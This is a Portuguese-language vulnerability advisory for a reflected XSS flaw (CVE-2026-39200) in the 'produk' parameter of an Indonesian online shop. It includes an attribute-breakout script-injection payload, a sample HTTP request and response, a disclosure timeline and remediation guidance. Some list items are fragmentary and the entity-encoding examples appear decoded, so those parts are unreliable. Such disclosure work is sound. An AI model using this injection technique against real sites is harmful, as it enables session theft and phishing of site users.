
O valor do parâmetro de requisição produk é copiado para o valor de um atributo de tag HTML que é encapsulado em aspas duplas. O payload xbnw0"><script>alert(1)</script>skc2h foi submetido no parâmetro produk. Esta entrada foi ecoada como xbnw0\"><script>alert(1)</script>skc2h na resposta da aplicação.
Uma vulnerabilidade de Cross-Site Scripting (XSS) refletido foi identificada no parâmetro de requisição produk da aplicação web Toko Online RotI. A aplicação não codifica em HTML a entrada fornecida pelo usuário antes de refleti-la dentro de um atributo de tag HTML que está encapsulado em aspas duplas. Um atacante pode criar uma URL maliciosa que, quando visitada por uma vítima, executa JavaScript arbitrário no contexto da sessão do navegador da vítima.
| Campo | Valor |
|---|
| ID do CVE | CVE-2026-39200 |
| Tipo de Vulnerabilidade | CWE-79 — Neutralização Incorreta de Entrada Durante a Geração de Páginas Web (XSS Refletido) |
| Produto Afetado | Toko Online RotI (loja online indonésia) |
| Parâmetro Afetado | produk |
| Descobridor | Uzair Ali (r00tali) — Testador de Penetração / Caçador de Recompensas de Bugs |
| Data da Descoberta | 2026-07-03 |
| CVE Atribuído | 2026-07-12 |
| Advertência Publicada | 2026-07-19 |
O parâmetro de requisição produk é copiado literalmente para o valor de um atributo de tag HTML delimitado por aspas duplas. Como a aplicação não codifica em HTML a entrada fornecida pelo usuário antes de refleti-la, um atacante pode quebrar o atributo enviando um payload que contém uma aspa dupla de fechamento seguida de um payload HTML/JavaScript.
xbnw0"><script>alert(1)</script>skc2h
Quando este payload é enviado como o parâmetro produk, a aplicação ecoa a entrada de volta na resposta sem escape. O fechamento "> termina o atributo original, e o bloco injetado <script>alert(1)</script> é interpretado pelo navegador como um novo elemento HTML, executando JavaScript arbitrário na sessão do usuário.
A resposta HTML vulnerável se parece com isto:
<!-- BEFORE injection -->
<input type="text" name="produk" value="USER_INPUT" />
<!-- AFTER injection with payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
^^^^^^^^^^^^^^^^^^^^^^^^
Browser executes this
GET /[vulnerable-endpoint]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [target-host]
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- ... -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
<!-- ... -->
</body>
</html>
produk dentro de um atributo HTML (ex.: uma página de busca, detalhe ou filtro de produtos).produk pelo seguinte payload:
xbnw0"><script>alert(1)</script>skc2h
" e produzindo um elemento <script> válido no DOM.alert(1) é exibida, confirmando a execução de JavaScript arbitrário na sessão da vítima.Uma exploração bem-sucedida deste XSS refletido permite que um atacante:
Como a vulnerabilidade é refletida, a exploração requer apenas que uma vítima clique em um link criado, tornando-a trivialmente arma em campanhas de phishing.
CVSS v3.1 (estimado): 6.1 (Médio) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Para remediar esta vulnerabilidade, o fornecedor deve:
<, >, ", ' e & (ex.: <, >, ", ', &).htmlspecialchars($input, ENT_QUOTES, 'UTF-8')HttpUtility.HtmlEncode(input) ou sintaxe <%: %>{{ input }} (escape automático por padrão)Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
HttpOnly e Secure em todos os cookies de sessão para impedir que o JavaScript os leia.produk contra uma lista de permissões de identificadores de produto esperados (IDs numéricos, slugs, etc.) e rejeitar qualquer coisa que não corresponda.X-Content-Type-Options: nosniff para evitar a detecção de tipo MIME dos corpos de resposta.| Data | Evento |
|---|---|
| 2026-07-03 | Vulnerabilidade descoberta durante teste de segurança autorizado |
| 2026-07-03 | ID do CVE solicitado ao MITRE via cveform.mitre.org |
| 2026-07-12 | CVE-2026-39200 atribuído pela Equipe de Atribuição do MITRE |
| 2026-07-19 | Advertência pública publicada |
Uzair Ali (r00tali) — Testador de Penetração / Caçador de Recompensas de Bugs / Pesquisador de Segurança
Esta advertência é publicada apenas para fins educacionais e defensivos. A vulnerabilidade foi relatada através do processo de divulgação responsável via Equipe de Atribuição CVE do MITRE. Nenhuma informação confidencial do fornecedor, dados de clientes ou código proprietário é divulgada. A prova de conceito usa um payload benigno alert(1) e tem a intenção de demonstrar a existência do bug, não de facilitar ataques contra o serviço ativo.